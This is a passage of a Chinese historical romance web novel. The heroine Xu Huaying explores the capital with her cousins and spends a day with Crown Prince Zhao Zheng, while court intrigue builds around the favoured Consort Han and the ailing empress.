“……翌日,前院宴未散,园中四下无人,将军瞧着那抹白腻丰盈,只觉口干舌燥,天雷勾动地火,听得人面红耳赤,不知事的丫鬟懵懂着轻手轻脚走近……” 华缨端起桌前的凉茶一饮而尽,却仍觉唇焦舌敝。 她看着那说书的郎君念得面红耳赤的脸,不知怎的,那脸忽的变成了赵徵,好似这荒淫之词是从尊贵的太子殿下口中说出来的,那张如雪的脸,因这书中将军猛浪而羞红…… 华缨浑身一凛,倒茶的手轻抖了下,凉茶洒在了手上。 “怎么啦?”姚宝湘看了过来问。 华缨一双桃花眼睁得圆溜溜,摇头。 姚宝湘脸也红,这书是她心头好,不然也不能揣在袖袋里,想要拿给华缨瞧。 她脑袋扭回去,双手托着红扑扑的脸蛋,听得聚精会神,兴致颇高。 说书先生却是烧得脑袋都要冒烟了,又读到一段那艳色,他悄摸摸的想要跳过去,就听那姑娘模样认真的开口。 “先生多翻了一页。” 说书人:…… 快!给他来一闷棍吧!!! 今儿听书,明儿听曲儿,汴京城中好玩的不胜枚举。 华缨和姚宝湘将西市玩耍了个遍,好吃的吃食也尝了味儿,回府时,还有些乐不思蜀。 “明儿去玩儿什么?”姚宝湘掀起车帘,兴致勃勃的追问。 华缨都走到了石阶上,闻声回头,想了想说:“等我问问爹爹!” “好!!!” 马车赶着出了街巷,华缨往府中走,将将跨进去时,猛然回头,目光锐利的扫过门前街巷。 “小姐,怎么了?”门前的护卫问。 华缨摇摇头,“无事。” 说完,大步流星的进了府。 街巷前,躲在一颗歪脖桂花树后的侍卫,狠狠的缓出口气,瞧着徐家的门闭上,才转身隐没离开。 徐九涣今日回来的早,看见闺女从院外进来,桃花眼尾翘起,吊儿郎当的问:“今儿又去哪儿鬼混了?” 华缨见他吃甜瓜,也去拿了一瓣,过来挤着爹爹的藤椅坐,“跟湘表姐去听曲儿了。” “春风楼?”徐九涣问。 华缨:“梨萧馆。” 徐九涣眉梢微挑,似是气笑了,“出息了啊,学男子逛花楼。” “爹爹也去过?”华缨歪了歪脑袋问。 徐九涣哼了声。 梨萧馆他没去过,可是有人去过。好男风并非是什么稀罕事,他交友广泛,碰着一两个更是寻常。 华缨又道:“梨萧馆比春风楼还好些,未见着有那等仗势欺人,逼良为娼的,听闻梨萧馆的哥儿身契都在自个儿手里,爹爹,这与雇佣的长工可是一样?” 徐九涣哼哼,“一个费力气,一个废脸面。” 华缨:…… 她不服道:“那哥儿唱的曲儿很好听,我还给赏银了呢。” 怎就废脸面了? “赏了几两?”徐九涣斜睨她。 华缨伸出五根手指头。 “五两?” “……五文。”华缨睁着圆乎乎的眼睛说,又有些不好意思,“我的月钱都花完了。” 徐九涣起身就走。 华缨嘻嘻笑着追上去,“爹爹~” “没钱!” 当夜,华缨做了个梦。 梦里,白日唱曲儿的哥儿,不知怎的长了张赵徵的脸,寡淡又清冷,长发散着,系着根翠绿的发带,一袭薄衫,健硕而紧致的胸膛欲隐欲现,底下的堂客让他再唱一曲,赵徵却是看着她,那双眼眸以朱砂勾起了眼尾,艳丽至极,他捡起她放下的五枚铜板,赤裸着朝她走近,华缨不知怎的,心口忽起迅疾,如夜袭骏马奔腾,也好似擂鼓宣天,偏偏,只有她能听见。 脚下的步子一寸挪不得,华缨口干舌燥的看着赵徵在她面前停下,手心忽的凉了下,被塞进来什么东西,那张冶丽的脸朝她靠近,近得华缨都能看见他眸底的自己,她的目光不受控的往下挪,越过高挺的鼻梁,落在了那双唇上。 赵徵的唇很薄,显得薄情又冷淡,可又是那样艳,像是她吃的樱桃,华缨悄悄咽了咽口水,她想…… 忽的,耳畔气息轻动,华缨呼吸一滞,脸颊红了,紧接着便听他淡漠道—— “真穷。” 华缨:! 被气醒睁开眼时,屋子里一片漆黑,薄薄的窗纸透出点点星亮。 华缨瞪着帐子半晌,气恼的蹬了蹬脚,脚底蜷缩着睡得正香的年糕发懵的一骨碌爬起来,乱糟糟的毛发根根透着不解,做甚踹它? 小白狮长大了不少,可还是喜欢团吧在华缨的脚底睡觉,冬日里冷,华缨喜欢抱着它,可这八月盛夏时节,却是被它挤得生汗。 “睡吧……” 华缨略显心虚的摸摸它,将小白狮哄着爬下又去入梦,她做贼似的卷着锦被盖过脑袋,想要藏住那张在睡梦中羞涩红透的脸,心口的悸动还未缓去,闷在被子里,当真如那梦里鼓擂似的。 赵、徵。 太子殿下呀。 这几字悄无声息的在她心口爬过,留下丝丝缕缕的痒意。 华缨不知何时又睡着了,醒来时,天光大亮,回想后半截的梦,却是什么都想不起来了,唯记得前半段梦境中的悸动。 用过早饭,华缨吩咐人去牵马。 脚步欢快的出府时,却是在府门前的街角处见到了睡梦中的那张脸。 她脚步一顿,怔住了。 炙热的日光落在身上,华缨有一瞬的恍惚,竟是有些不辨梦境之感。 四目相对,片刻。 赵徵似梦里般朝她走了过来。 华缨不觉吞咽了下口水,努力将目光落在那双没有描红的眼睛上,克制着不去看他的嘴巴。 也不知可是真的红如樱桃? 他们没有像梦里站得那样近,赵徵走到石阶前便停下了步子,华缨站在石阶上,他仰头,她垂首。 “玩儿够了?”赵徵问。 华缨不明他为何问这话,余光扫过澄黄明净的日光,她舔舔发干的唇,诚实摇首,老实巴交道:“世界这么大,我想多浪浪~” 分明无意与他撒娇,可是在那双目光下,她的话音不觉的轻飘。 赵徵想起了昨夜暗卫禀报,营中不讲究的兵卫,说书馆艳俗浪荡的故事,梨萧馆听曲儿赏银。 暗卫退下,赵徵看着案桌上的书卷,却是半晌未翻一页。 那场宫宴前,他与华缨最后见着,是在营中那晚。 她是生气了吗? 赵徵有些不懂,因他不顺从? 赵徵看着她,华缨也盯着他瞧。 看什么看,华缨想,梦里竟还骂她穷! “若你想……”赵徵艰涩开口,目光似窘迫的落去别处,垂在身侧的手朝她伸去,“牵吧。” 华缨:??? 60-70 第61章 喜欢。 尊贵的太子殿下,模样生得极好,便是手也比寻常的男子漂亮,骨骼分明,指节如竹,指甲修剪得圆润干净,微微透着珍珠的粉润,就连手背绷起的青筋都恰到好处,不过分文弱,也不狰狞可怖,充满力量感,好看呐。 华缨此时却是如遭雷劈的看着伸到她跟前的手,有一瞬间,她脑袋里虚空的浮现了曾与姚宝湘看过的话本,狐妖施展法术,与书生共梦,梦中共赴云雨,让书生从了她。 华缨木着脸想,莫不是赵徵与她共梦了不成? 她当真!有种那书生的无措与心虚! 掌心濡湿潮热,脸也不知在何时红了个彻底,烫得恼人。 华缨张了张唇,“殿下……” “嗯?” “我……”华缨喉间干涩,“你可吃过樱桃?” 赵徵转过头来看她,一贯沉静的眸子,此时带着些困惑的看她,“你想吃樱桃?” 华缨摇摇头,悄悄的咽了咽喉咙,又问:“殿下可曾用朱砂勾画眼尾?” “……” 赵徵与那双乖巧漆黑的眼睛对视片刻,深吸口气,咬牙道:“徐华缨!你将我当作了梨萧馆的谁?” 华缨心口咚的一声,目光不觉飘忽着挪开,片刻,眼前视线还是未从她脸上离开,她又飘回来,有些无辜道:“殿下怎的冤我?梨萧馆是哪儿?” 赵徵盯着她瞧,不说话。 华缨不知怎的,脑子里缓缓冒出一句那说书人讲的捉奸来。 人果真是不能干坏事,心虚的紧呢。 扑通扑通的! “今日要去哪儿?” 半晌,赵徵问。 街巷拐角处,两颗脑袋鬼鬼祟祟—— “说什么了,听不清啊。”姚宝湘揪自己耳朵。 “欸,他们过来了!”姚宝璐赶紧推推她,二人匆匆忙忙的往马车上跑。 华缨带着赵徵出了街巷时,就看见了姚家的马车。 “表姐?”她过去掀帘喊。 姚宝湘:“泱泱呀,我真要让人去喊你呢,可真是心有灵犀呢。” 华缨瞅她,“别装,我方才都瞧见你跑了。” 姚宝湘:…… 呵呵。 “殿下今日也跟咱们一道吗?”姚宝璐看见外面的那抹笔直身影,低声问华缨。 华缨点脑袋,神色真挚道:“殿下也想长见识呢。” 马车行在前面,赵徵催马远远的跟在后面。 日头渐高,街道两侧的凉饮铺子生意极好。 忽的,前面马车停下,旧色锦帘掀起,“曹娘子,三碗桂花饮子。”姚宝湘甜滋滋的喊,余光瞥见那道马背上的身影,眼珠子滴溜溜的转了转,唇嗫喏低声问:“泱泱,可要给殿下也买一碗?” “我穷。”华缨鼓着脸颊吃葡萄说。 姚宝湘:…… 她脑袋卡在车窗前,委实是有些进退不得,看着赵徵有催马过来的趋势,她与摊前的娘子道:“再要一碗,四碗。” 曹娘子闻言,抬头便见一位冷峻的郎君过来,她眉眼间一喜,不禁问:“给这位郎君的?” 姚宝湘胡乱点点头,正欲开口,又囫囵咽下,换了个称呼,“赵郎君,曹娘子家的桂花凉饮很好喝,可要尝尝?” “多谢。” 赵徵微颔首答谢道。 姚宝湘颇为拘谨的也回了一礼,默默的将脑袋收了回来。 有太子殿下在旁,都不热了呢。 夏日里昼长,看戏听曲儿,漫漫一日便近了黄昏。 赵徵竟是也跟着她们玩乐了一日,姚宝湘纳罕,小眼神忍不住往他脸上飘了下,出了茶楼,她问华缨:“可要用了晚饭再回府?” 红日西坠,白日里的暑热渐渐散去,华缨望了眼那高耸入云的阁楼,想了想说:“咱们去游船吧!” 澄阳湖湖光山色,傍晚时尤甚,夜间的风吹过江面,波光粼粼,就连白日里的暑热都消了不少。 几人坐在亭中,石桌上摆满了美味佳肴,醉仙居的烤鸭卷饼,决明兜子,菊花鸭签,还有醉螃蟹和桑葚酒。 华缨埋头大快朵颐。 姚宝璐尝了口桑葚酒,目光看向那艘帛阑船说:“那是谁家的,这样奢靡。” 船身漆木贵重便不说了,船上更是以黄金、宝石装饰点缀,薄如蝉翼的纱帐随着夜风轻飘,船中烛火亮如白昼,笙歌曼舞,丝竹管乐声中还夹杂着些男子猥琐的嬉闹声。 汴京城中尽是达官显贵,有这样一艘船并不稀奇,可前些时日官家刚因国库不盈而下令宫中削减开支,上令下效,各贵胄世家也纷纷效仿,就连姚家不在御前,都将家宴的饭菜减了几道呢。 这个时候,以如此华贵船只游湖,让人瞧见,只怕是明儿弹劾的奏疏就到了御前。 赵徵负手而立,面朝湖心站着,道:“韩家的。” 华缨夹了片烤鸭放在薄薄的春饼上,又夹了几根葱白丝卷起来咬了口,闻言,纳闷问:“哪个韩家?” 她初回京时,婶娘与她说过京中各世家贵胄,她虽是听得并不认真,可还当真未听过韩家。 姚宝湘给她使眼色。 华缨咬着香喷喷的卷饼子:“嗯?” “……近日势头正盛的韩家,”姚宝湘说着,偷偷朝那道长身玉立的身影看了眼,压低声音道:“年初时韩家女入宫,这半年来很受官家宠爱,上月听闻是有了身孕,官家将其侧封了贵妃。” 华缨又卷一张饼,睁着迷茫的大眼睛问:“我怎不知?” 说着,她看向了赵徵。 不曾想赵徵也在此时回头看来,二人目光不期然的对上了。 姚宝湘心想,御前骂韩氏女是妖女的奏疏都不知堆了多少了,那样的事,怎好说来脏她的耳朵。 “韩家有二子,次子风流好色,嚣张跋扈,日后若是遇见了,不必与他理会,仔细吃亏。”赵徵淡声道。 “那画舫上便是韩家次子?”华缨两颊鼓鼓的问。 赵徵‘嗯’了声,目光在她唇角顿了片刻,道:“沾到酱了。” “哦。”华缨舌尖舔了下,问:“可还有?” 姚家姐妹俩:…… 这也太熟稔了吧?! 赵徵目光挪开,重新望向湖面,片刻,鸦睫动了动,轻摇了下脑袋。 “我还想着买多了呢,也没剩多少。”姚宝璐看着吃得七七八八的菜碟说。 “我出了大力气呢。”华缨咬着一只决明兜子说。 “是是是,委实辛苦呢。”姚宝湘故意笑她。 吃饱喝足,唤来酒楼的堂倌儿将碗筷带回去,姚宝湘正欲掏银子,旁边站了片刻的赵徵走过来,捏着一锭银子递去。 “不用,殿下……”姚宝湘斟酌道。 赵徵:“无碍。” 华缨将酒壶里的桑葚酒干了,眼珠子转过来,以那副装乖的老实语气,故意臊人道:“湘表姐的意思是,殿下这锭银子不够酒菜钱。” 赵徵:…… 又摸出一锭银来。 “哎,”华缨抱着酒壶悠哉叹,“殿下当真是不知柴米油盐贵呢。” 赵徵默了片刻,将手中两锭银子放在石桌上,道:“劳姚二小姐结账了。” 姚宝湘憋笑憋得双肩直颤,姚宝璐也不遑多让,别过脸不敢看,生怕将尊贵的太子那窘迫神色瞧见。 相较之下,华缨便显得肆无忌惮了些,晃着脚丫有些嘚瑟,记仇道:“殿下真穷呢。” 这话委实不公允,某人可是荷包空空的。 赵徵看她一眼,“今日你花用的银子,我会让人去与太傅要的。” 华缨:! “我错了!对不住!!!” 桃花眼睁圆,仰起的脸满是真诚。 赵徵目光掠过,淡声道:“不信。” 华缨:…… 糟糕!竟是长脑子了! 几人租了一艘画舫。 “湖心栽种着莲蓬,贵人可要去瞧瞧?”船家主动搭话问。 “瞧瞧去,”姚宝湘连忙道,“可还有莲子吃?” “快要入秋了,这个时节的莲子不如刚生时嫩,怕是贵人吃不惯。”船家笑呵呵的说。 湖心莲开得漂亮,栽种着粉色重瓣,黄色重锦和月白莲,翠绿的宽大叶子衬着,碗口大的莲花娇艳欲滴。 “真好看,等日后我也要在府中的池子里栽种满池子的水莲。”姚宝湘盘着腿脚坐在船尾,双手托腮道。 “段表兄可没工夫陪你赏莲。”姚宝璐笑话她道。 “谁要他陪了……” 三个姑娘家排排坐在船尾处,说着闺阁里的悄悄话。 船家坐船头,画舫中赵徵端坐着,他无意偷听,可话音不断往耳朵里飘,撑开的窗格上纱帘轻荡,忽的,见一顽童伸着小肉手,想要去折那朵明黄的重锦莲花,他眉头不觉轻蹙了下,紧接着,画舫晃了晃,好似江水中飘零的小舟,船尾朝某处轻摆,一只玉白的手映入眼帘,毫不客气的一巴掌拍在那顽童肉乎乎的小手上,将人吓得瞬间缩回,捂着手背看向揍他的。 赵徵神色一动,就听见那道熟悉的声音吓唬人道—— “折花的小孩儿手最好吃了,香香的呢。” 赵徵:…… 随即,外面便听稚童震天响的哭嚎声,那船上的大人似是嫌华缨多管闲事,骂骂咧咧两句。 姚宝湘听见了,有些气不过,霍然站起,凶巴巴道:“你骂什么呢?” 那人横她一眼,大抵是瞧出她身上衣裳金贵了,闭上嘴进了船舱。 “当是你家园子呢,手欠的很!”姚宝湘气道。 “好啦好啦,”华缨拉她坐下,“我又不痛不痒的,与他计较什么?” 月色无垠,映着烛光昏黄,耳边是那仨姐妹嘀嘀咕咕说小话的声儿,远处悠扬琴声飘来,和着赏莲的姑娘们的嬉笑声。 赵徵端着茶碗,却是觉得没有比眼下更静的时候了。 他好像,忽的明白了为何会喜欢徐华缨。 她与谁都不同,嫉恶如仇,又潇洒恣意,她热情也真诚,爱胡闹,但知分寸,大抵是见过山河,她身上有种他羡慕的壮阔,像山又像水,汴京的规矩似绑缚的绳索,又好像是她平云天的天梯。 第62章 爹爹! 月上柳梢,马车一路行至春明街巷。 “停吧。” 华缨掀起帘子道,待停稳,便自车辕处跳了下来,“时辰不早,劳你辛苦奔波一趟,这银簪子拿去换钱买茶吃吧。” “小的怎敢要小姐的东西……”车夫连忙推让道。 “无妨,拿着吧。”华缨说罢,让至一旁,让车夫能赶着车调头折返。 “小的多谢小姐。” 车夫驾车离开,喧哗两声的街巷顿时又重回寂静。 华缨看向旁边骏马之上的人,“多谢殿下送我回来。” 赵徵微颔首,“进去吧。” “不急,”华缨说着,朝他走过来,二人之间如今没有那几方石阶,她须得仰起脖颈才能看清他的眼睛,“殿下,你可有话与我说?” 赵徵微怔,没想她会问这话。 他思忖,是有话说。 今日见面前,他以为是因上次营中惹她不快,方才求了那道退婚旨意,可今日玩乐一日,赵徵想,她未将那事放在心上,纠结苦恼,甚至于念念不忘的只有他。 “殿下既是没想好,那便我先说吧。”华缨语调轻快道,“今日殿下同游,可还畅怀?” 赵徵看着她的眼睛,少顷,微颔首。 夜巷寂静,骏马原地踏了两步,打了声响鼻。 “我……”赵徵张唇,便要翻身下马来。 华缨忽的伸手,握住了他抓着缰绳的手臂,“殿下不必下马,我只几句话。” 弦月垂空,星子寥寥,月色将那枝丫横生的树枝照映得隐绰。 几道暗影落在赵徵脸上,好似白玉微瑕。 华缨弯着唇角道:“我也畅怀呢,如今太平盛世,物阜民丰,百姓们得以安居乐业,卖凉饮子的曹娘子,说书的先生,划桨的船家,而今之安稳,盖因朝堂安稳,殿下辛苦啦~” 赵徵心口咚的一声,好似一滴清泉,又像是星子坠落。 他张了张唇,却是面容先羞红了。 那双眼睛很亮,有期许,也有祝福。 赵徵便是连呼吸都轻了,好似害怕惊动那汪清泉中盛着的星子。 “我知殿下与我说,若遇韩家,不必硬碰硬,是担忧我吃亏,可不论朝堂清明,还是世道安稳,都不该为韩家破坏。殿下是今日之臣,来日之君,海晏河清,须得臣民齐心协力。而百姓,百姓俯首跪权臣,非是与权势低头,而是感念庙堂之上的功绩给他们带来的安稳。” 夜里虫鸣,华缨的声音很轻,却又有千斤重,砸在人心口,半晌方才回神。 “今日直言,恐有僭越,还望殿下宽宥。” 赵徵张唇,涩然道:“你只说这个?” “还有什么?”华缨望着她,神色困惑。 赵徵望她半晌,道:“为何退婚?” “嗯?” “你待我不喜?今日玩乐,也只是为了说这番话?”赵徵又问。 他们二人之间,从来都是华缨要如何,还从未这般被他逼问得哑口无言。 华缨握着的手臂,忽的变得烫手了呢。 她目光朝旁边轻飘了下,手指蜷缩,正欲收回手,忽的,手被握住了,有别于她的温热覆上。 华缨木着脸想,读了那些话本子,都难以描述这一瞬的感觉,烫,很烫,赵徵想来是不勤于练功,指腹上都没有茧子,不像是那说书人读的话本,指腹的厚茧摩挲得人生痒。 他也规矩极了,只是握着,力都没多使两分,不过是止住她的动作罢了。 可是,为何要让她抓着他呢? 华缨仰着脸,满腹不解。 “不是,”华缨说,“今日应殿下,不过是想让殿下感受寻常的乐子罢了,殿下是无开心事吗,何故成日板着脸呢?我好像忘了说,殿下笑着也很好看。” “至于退亲,”脸上的目光灼灼,华缨忍不住别过脸,心想,饶是她这样的厚脸皮都忍不住呢,“这桩亲事,非你我所愿,如今解除婚约,殿下自可去行你想做之事,娶想娶之人。” “那你呢?你想嫁谁?”赵徵沉声问。 华缨目光抬起,不知是诧异他这话,还是惊诧他好像生气了。 “我……” 她看着面前冷峻的脸,忽的顿了下。 华缨没有想嫁之人。 湘表姐说,哪日遇得喜欢的郎君,便是将能伤自己的匕首亲手递给了他。 可她,好像要将那匕首递出去了…… 华缨非是笨蛋,她见过的郎君不计其数,其间也不乏容貌出众者,可几回入梦,梦中同一人,醒来时觉怅然,想要再会周公去。 “殿下问我做甚?待我嫁娶,殿下也要来赴宴吃杯喜酒?”华缨唇角弯弯,睁着双明亮的眸子问,好似有他这般尊贵之人来赴宴,是她之荣幸呢。 赵徵久未开口,半晌,哑声道:“你有喜欢的郎君了?” 华缨眼珠子轻飘了下,含糊的点点头,叽里咕噜道:“时辰不早,殿下……” 赶紧回家吧! 话没说完,华缨眼尖的瞥见一道熟悉的身影,立马抽回手,一蹦三尺高,热情洋溢的喊:“爹爹!” 救救!!! 徐九涣提灯行来,衣决飘飘,目光在这二人之间飘移打量,眉梢微挑,“哟,太子殿下。” 赵徵欲翻身下马回礼,刚一动,便听华缨开口说。 “快到宫门下钥的时辰了,殿下不必拘礼,快快回宫吧!” 华缨莹白的脸上满是真诚,还颇为殷勤的替他轻拍了下马臀。 骏马哒哒哒的迈着优雅的步子朝长街深处去。 赵徵自来得及与徐九涣在马背上颔首回礼。 父女二人目送着赵徵离开,而后才一道朝巷子里走。 “你怎的才回来?”华缨抢先道。 徐九涣啧声,“五十步就别笑百步了吧。” 华缨闭上了嘴。 将进门时,忽的听她爹幽幽的问: “你那是怎么回事?” 华缨脸不红心不跳的说:“与湘表姐游湖回来时,正好遇见殿下办差回来,便说了两句话。” 徐九涣睨她:“当我瞎?” 华缨:…… 夜深人静,华缨幽幽叹了声气,“爹爹……” “嗯。” “我不会再开心了。” “嗯?” “我好像……有意中人了呢。” 徐九涣猛然扭头:“嗯???” 八月中旬,中秋宫宴。 日将落时,府中几人穿戴整齐,要进宫赴宴了。 华缨和爹爹没再进宫蹭宴去,二人在府中看厨娘做月饼。 大抵是父女俩守家门委实太过凄凉,徐鉴实颇有些瞧不过眼,从自己私房拿了二十两给华缨,“若是不想吃家里的饭,便带着你爹去飞仙楼吃。” 徐九涣翻了记白眼,当真是不知谁是爹。 他扭头,“我也要二十两!” 徐鉴实给他一记白眼,带着次子一家子出门了。 华缨悄摸摸的要将银子塞进荷包里,旁边一道过分锐利的目光扫来,她动作顿住,叹声道:“知道呢,分爹爹一个。” 说着,将一锭银元宝递去。 徐九涣也当真理直气壮的将那银锭揣进了自己袖袋。 父女俩清清静静的过了个团圆节,吃了月饼,喝了桂花酒,还赏了两刻钟的月。 没等到徐鉴实他们宴散回来,父女俩便拍拍屁股舒舒服服的回屋睡觉了。 翌日,天朗气清。 华缨睡醒时,已天光大亮,屋里睡觉的米糕都跑出去玩儿了。 不多时,她正用早饭,华敏跑了过来。 “今日不读书?”华缨瞧见她,稀奇的问。 “祖父出门见朋友了,我晚些去,他不知道的,”华敏朝她眨眨眼,自盘子里捏了块糕饼吃,嘀嘀咕咕道:“阿姐昨日没去中秋宴,当真是惋惜,昨儿有好看的热闹瞧呢!” 华缨吃着米粥,微抬了下眉眼,示意她别卖关子赶紧说。 华敏嘿嘿笑了两声,将糕饼咽下,道:“平嘉皇后病了,昨儿我们去请安时,都没进去福宁宫宫门,这便罢了,可还没等坐宴呢,有个宫人来传,说是韩贵妃请夫人们去宫里小坐。” 华缨两弯细眉微蹙,“韩贵妃?” 华敏重重点脑袋,又贼兮兮道:“没人去!” 华缨:…… 倒也预料中的,谁也不蠢,韩贵妃再是得昌隆帝宠爱,也只是嫔妃,非是后宫之主,手中也无凤印,诰命夫人们入宫觐见,给平嘉皇后请安乃是规矩,换作寻常人家,谁去人家府上做客时,见不到当家主母,会去见妾室? 再有,韩贵妃虽是有孕,可男女尚且不知,即便来日诞下的小皇子,昌隆帝当真能为了他废了赵徵的太子之位? 心中有计较,前来相请的宫人定是无功而返的。 “因着这事,韩贵妃赴宴时,脸色难看的紧,众夫人也只当没瞧见,不过,韩家人倒是与韩贵妃一派的做派,韩家二爷在殿中调戏一个伶人,被太子殿下当众给罚了,殿中争执了几句,官家瞧着不大高兴,但祖父和几位大人说,太子殿下做得对,官家也没说什么。” 华缨眸子微微睁大了些,细细品着米粥,没说话。 昌隆帝…… 完蛋,她都要偏心了呢! 半上午,姚宝湘过来找她玩儿了。 相比华敏,她描述的便绘声绘色多啦,好似还置身那场宴席中。 “韩家父子多大的脸啊,竟是还想让太子殿下敬他们酒,真当自己是国丈、国舅了不成?”姚宝湘捏着拳,义愤填膺道:“别说平嘉皇后还在,便是殿下乃是太子,是储君,只有旁人给他敬酒的份儿!” “还有那韩贵妃,当真是一门子父女兄妹,你知道她说什么吗?说什么皇后娘娘身子抱恙也无妨,她宫殿不比福宁宫小,可招待各位夫人去吃盏茶,叙叙话,小坐片刻。”姚宝湘气得胸口一鼓一鼓的,“她多大脸啊,几位正一品诰命夫人去给她请安?” 不愧是读过许多话本子的,华缨听得津津有味,不由得追问:“然后呢?” “然后,众人便在殿中坐着等开席了,昨儿散的还早些呢,官家被韩贵妃不知说了什么,早早的便离席去了后宫,太傅与几位老臣见着时辰差不离时,才散宴回府,当真是……我跟你说,就是京中谁家做宴做成这模样,都要被人家在背后嘀咕笑话一整年的!” 华缨一副受教了神色直点脑袋。 姚宝湘端起茶水一咕咚喝了,又道:“太子殿下那日还让你遇着韩家人时躲着些,他却是将韩家老二收拾了。” 华缨亮晶晶眼。 说啊说啊。 “韩老二狗改不了吃屎,瞧上了那貌美的琵琶女,当场将人拉进了怀里,正恶心的要亲人家,太子殿下给拦住了,训斥韩老二殿前失仪,要责十板子,官家还护着,说是一时酒后无状罢了,何至于动宫规。” 姚宝湘越说越生气,“那王八蛋还想求官家将那琵琶女赐给他!殿下说,宫中的伶人非是奴籍,是自民间选来的擅乐之人,若是随意让人送了达官显贵,只怕是会让百姓寒心,太傅与谏官大人也劝,官家这才歇了心思。” 华缨:…… 小华敏得多读些话本子了! “不过,宫中有韩贵妃,只怕是那琵琶女的日子不会好过。”姚宝湘去倒茶,唏嘘一句。 没听到附和声,她端着茶碗回来榻上,轻撞了下华缨肩膀,“想什么呢,这般认真?” 华缨在想赵徵。 “你说……殿下可会变成刘据?” “嗯?”姚宝湘大口喝茶,“谁啊?” 华缨:…… 往前朝几代数,太子之祸不在少数。 昌隆帝尚在壮年,而赵徵如今日渐的羽翼渐丰,哪怕赵徵什么都不做,他也犹如是静待时机与昌隆帝一争的雄狮。 而韩贵妃是昌隆帝的宠妃,她腹中的孩子长大之时,昌隆帝也将老去,委实是……顺理成章。 华缨正想着,忽的,脑中浮现了个念头,霎时遍体生寒—— 韩贵妃如今这般嚣张,是因昌隆帝宠爱太盛,还是他与韩贵妃透了什么口风? 第63章 城东,十两银子,来赎人…… 清晨,福宁宫的宫人们井井有条的在院中洒扫,门外步入一道烟粉罗衣的身影。 “公主殿下。” 赵商絮脚步停在院中,道:“我来探望母后,还劳嬷嬷通秉。” “殿下稍等。”嬷嬷说着,进殿去了。 赵商絮两只脚尖碰着,仰头望了望。 今日日头好,天色湛蓝,云朵舒展,澄净得一尘不染。福宁宫中也以水缸栽种着水莲,隐隐嗅得花香。 可便是景致极好,仰头时,也只能瞧见一寸天光。 少顷,嬷嬷出来道:“娘娘请殿下进来。” 自上回昌隆帝寿诞罢,平嘉皇后便病了,已近半旬月。 赵商絮进来殿中,平嘉皇后正在镜前梳妆,气色瞧着不大好,可也委实说不上缠绵病榻。 “给母后请安。”赵商絮福身道。 平嘉皇后自镜中看她一眼,“去坐着吧,陪母后用早膳。” “是。” 早膳几道清淡菜色,赵商絮瞧着平嘉皇后的脸色,咽下一口米粥,将昨日宫宴上的事说了,话了,又小声说:“韩家父子还想让哥哥给他们敬酒,哥哥没理会。” 平嘉皇后垂眸吃饭,并未搭理这话茬。 赵商絮抿了抿唇,极低声道:“母后,哥哥是不是当不了多久的太子了?” “啪!”筷著拍在了桌上。 平嘉皇后疾言厉色的训斥道:“胡说什么?” 赵商絮霎时白了脸色,满目惊慌又不知所措,一双眼睛瞬间漫起了水雾,好半晌,方才寻回了声儿,“父、父皇不喜欢哥哥,也不喜欢我……” 她说着,一串眼泪啪嗒的低滴落,便是连哭都是无声的,“韩家的人欺负哥哥,也欺负我,父皇帮着韩家说话……母后,我害怕……” “你记住,你哥哥是太子,是日后的君王。”平嘉皇后神色严厉道。 赵商絮迟疑着颔首,抬手擦了眼泪,垂着脑袋吸吸鼻子,又吃一口米粥。 平嘉皇后看着她单薄的身形,道:“你是公主,不用怕什么。” 说着,又忍不住道:“半分威严也无,勿怪那些个拜高踩低的欺负你。” 赵商絮咽下米粥,又温吞的点点头。 一刻钟后,她从福宁宫离开。 平嘉皇后唤来了嬷嬷,吩咐道:“去传韩夫人,进宫侍疾。” 嬷嬷微楞,随即领命去了。 巳时初,韩夫人刚被宣诏进宫,韩贵妃便得了风声,带着宫人到了福宁宫。 “贵妃娘娘,我们娘娘正病着,谁也不见。”嬷嬷将人拦在了外面,目光扫过她发髻上的凤尾钗时,神色变得难看。 凤乃中宫之后,这般有违礼制的东西,她竟是敢穿戴着招摇过市,也不知是仗着官家宠爱而横行无忌,耀武扬威,还是得了官家授意。 “谁也不见?”韩贵妃冷哼一声,“既是病着,召来太医好生养着就是,唤我母亲入宫做甚!” “韩夫人是诰命夫人,娘娘缠绵病榻,宣诏夫人进宫侍疾有何不可?”嬷嬷道,“贵妃娘娘怀有龙嗣,还是小心为上,福宁宫的事,便不劳娘娘操心了。” 话音未落,啪的一声清脆巴掌声。 韩贵妃扶着还未显怀的肚子,横眉竖目道:“混账东西!竟是敢咒本宫肚子里的皇子!看我不撕烂你的嘴!” 嬷嬷不慌不忙的跪下,道:“贵妃娘娘见谅,奴婢关切娘娘腹中身孕,犹如贵妃娘娘担忧我们皇后娘娘的身子。” “你!” 韩贵妃脸色倏变。 “太医说,我们主子须得静养,贵妃娘娘见谅,今日奴婢们当真是不敢放您进去,还请回吧。” 说罢,嬷嬷起身,示意宫人将门阖上,她疾步进了殿中。 平嘉皇后靠在迎枕上,正翻着一卷书,面上脂粉未施,长发散着,身上穿着件月白色的中衣,听见动静,她抬眼瞧来,顿时细眉蹙起,冷声道:“韩贵妃打你了?” “奴婢无碍,”嬷嬷走近,低声道:“韩贵妃被拦了,只怕不久,官家就会过来。” 她说着,顿了两顿,提醒道:“韩贵妃用了凤尾金钗。” 平嘉皇后默了片刻,冷笑了声,淡漠的翻了页书,垂眸冷道:“当真是越活越没德行,脸面规矩都不要了。” 这话骂谁,嬷嬷都不必想。 过了两刻,福宁宫的门再次被叩响。 院子里伺候的宫人,惶惶的进来禀。 “娘娘,官家与太子殿下过来了!” 殿中昏暗,甫一开门便嗅到了清苦的汤药味,安静得不闻人声,只一小宫女伺候在榻前。 “官家,太子殿下。” 宫女请安道。 “起来吧,皇后可醒着?” “娘娘服过汤药便睡去了。”宫人轻声道。 昌隆帝目光落在那扇薄如蝉翼的芙蓉屏风,片刻,抬步朝内殿去。 那股子汤药的清苦气重了些,帘帐掩着,隐绰瞧见那抹削瘦的肩。 赵徵站在外殿,面上无甚神色。 从前,他觉得这便是夫妻,相敬如宾,可如今再瞧,却是觉得冷得慌。 二人之间只剩算计,便是连情分都消磨得不剩几分了。 赵徵不愿再看,抬脚刚要出去,忽的听内殿中一声呓语,顿时浑身一僵。 他有一乳名,只是经久未曾听过,他都要忘了,蓦然听得,竟觉几分恍惚之感。 “奕哥儿……” 声音很轻,犹如沉疴。 赵徵顿了两瞬,转身朝内殿走。 昌隆帝站在床榻前,轻纱帐子里伸出一只手来,好似要拉他上前。 赵徵脚步微滞,越过昌隆帝,屈膝跪在榻前,唤道:“母后。” 